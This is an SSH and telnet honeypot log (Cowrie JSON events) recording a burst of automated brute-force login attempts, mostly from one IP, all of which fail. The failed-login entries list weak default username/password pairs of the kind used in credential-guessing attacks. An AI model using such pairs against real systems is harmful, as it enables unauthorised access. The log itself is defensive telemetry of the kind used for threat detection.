{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:13.734586Z","src_ip":"45.156.87.147","session":"277883c8ace1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54866,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4be939ee74","protocol":"ssh","message":"New connection: 45.156.87.147:54866 (10.17.0.5:22) [session: 1e4be939ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:18.357727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:18.362078Z","src_ip":"45.156.87.147","session":"1e4be939ee74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:18.443942Z","src_ip":"45.156.87.147","session":"1e4be939ee74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:18.692373Z","src_ip":"45.156.87.147","session":"1e4be939ee74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:19.776484Z","src_ip":"45.156.87.147","session":"1e4be939ee74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56208,"dst_ip":"10.17.0.5","dst_port":22,"session":"81640326bdc3","protocol":"ssh","message":"New connection: 45.156.87.147:56208 (10.17.0.5:22) [session: 81640326bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:24.373187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:24.377239Z","src_ip":"45.156.87.147","session":"81640326bdc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:24.462466Z","src_ip":"45.156.87.147","session":"81640326bdc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:24.716867Z","src_ip":"45.156.87.147","session":"81640326bdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:25.802753Z","src_ip":"45.156.87.147","session":"81640326bdc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50396,"dst_ip":"10.17.0.5","dst_port":22,"session":"719e84439902","protocol":"ssh","message":"New connection: 45.156.87.147:50396 (10.17.0.5:22) [session: 719e84439902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:30.344101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:30.349421Z","src_ip":"45.156.87.147","session":"719e84439902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:30.433251Z","src_ip":"45.156.87.147","session":"719e84439902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:30.750525Z","src_ip":"45.156.87.147","session":"719e84439902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:31.836599Z","src_ip":"45.156.87.147","session":"719e84439902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50406,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef304b6885c4","protocol":"ssh","message":"New connection: 45.156.87.147:50406 (10.17.0.5:22) [session: ef304b6885c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:36.568769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:36.572703Z","src_ip":"45.156.87.147","session":"ef304b6885c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:36.653281Z","src_ip":"45.156.87.147","session":"ef304b6885c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:36.904321Z","src_ip":"45.156.87.147","session":"ef304b6885c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:37.995095Z","src_ip":"45.156.87.147","session":"ef304b6885c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47402,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d5c98c6ee88","protocol":"telnet","message":"New connection: 128.199.8.54:47402 (159.203.135.109:23) [session: 4d5c98c6ee88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:39.183424Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52368,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb0b3a0249c4","protocol":"ssh","message":"New connection: 45.156.87.147:52368 (10.17.0.5:22) [session: cb0b3a0249c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:42.662940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:42.666025Z","src_ip":"45.156.87.147","session":"cb0b3a0249c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:42.747265Z","src_ip":"45.156.87.147","session":"cb0b3a0249c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:43.008324Z","src_ip":"45.156.87.147","session":"cb0b3a0249c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:44.167076Z","src_ip":"45.156.87.147","session":"cb0b3a0249c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":32804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8eda83987c","protocol":"ssh","message":"New connection: 8.219.200.1:32804 (10.17.0.5:22) [session: ba8eda83987c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:44.676443Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52372,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8908525df2","protocol":"ssh","message":"New connection: 45.156.87.147:52372 (10.17.0.5:22) [session: 7f8908525df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:48.892066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:48.896136Z","src_ip":"45.156.87.147","session":"7f8908525df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:48.977293Z","src_ip":"45.156.87.147","session":"7f8908525df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:49.221543Z","src_ip":"45.156.87.147","session":"7f8908525df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:50.201574Z","src_ip":"8.219.200.1","session":"ba8eda83987c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:50.305207Z","src_ip":"45.156.87.147","session":"7f8908525df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38364,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a714a15c5bf","protocol":"ssh","message":"New connection: 45.156.87.147:38364 (10.17.0.5:22) [session: 2a714a15c5bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:54.919874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:54.924025Z","src_ip":"45.156.87.147","session":"2a714a15c5bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:55.011271Z","src_ip":"45.156.87.147","session":"2a714a15c5bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:55.266549Z","src_ip":"45.156.87.147","session":"2a714a15c5bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:56.351173Z","src_ip":"45.156.87.147","session":"2a714a15c5bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55142,"dst_ip":"10.17.0.5","dst_port":22,"session":"692ec538f2d3","protocol":"ssh","message":"New connection: 45.156.87.147:55142 (10.17.0.5:22) [session: 692ec538f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:00.933872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:00.937893Z","src_ip":"45.156.87.147","session":"692ec538f2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:01.018859Z","src_ip":"45.156.87.147","session":"692ec538f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:01.274779Z","src_ip":"45.156.87.147","session":"692ec538f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:02.369235Z","src_ip":"45.156.87.147","session":"692ec538f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34336,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f62b47e127","protocol":"telnet","message":"New connection: 128.199.8.54:34336 (159.203.135.109:23) [session: f7f62b47e127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:02.525509Z"}
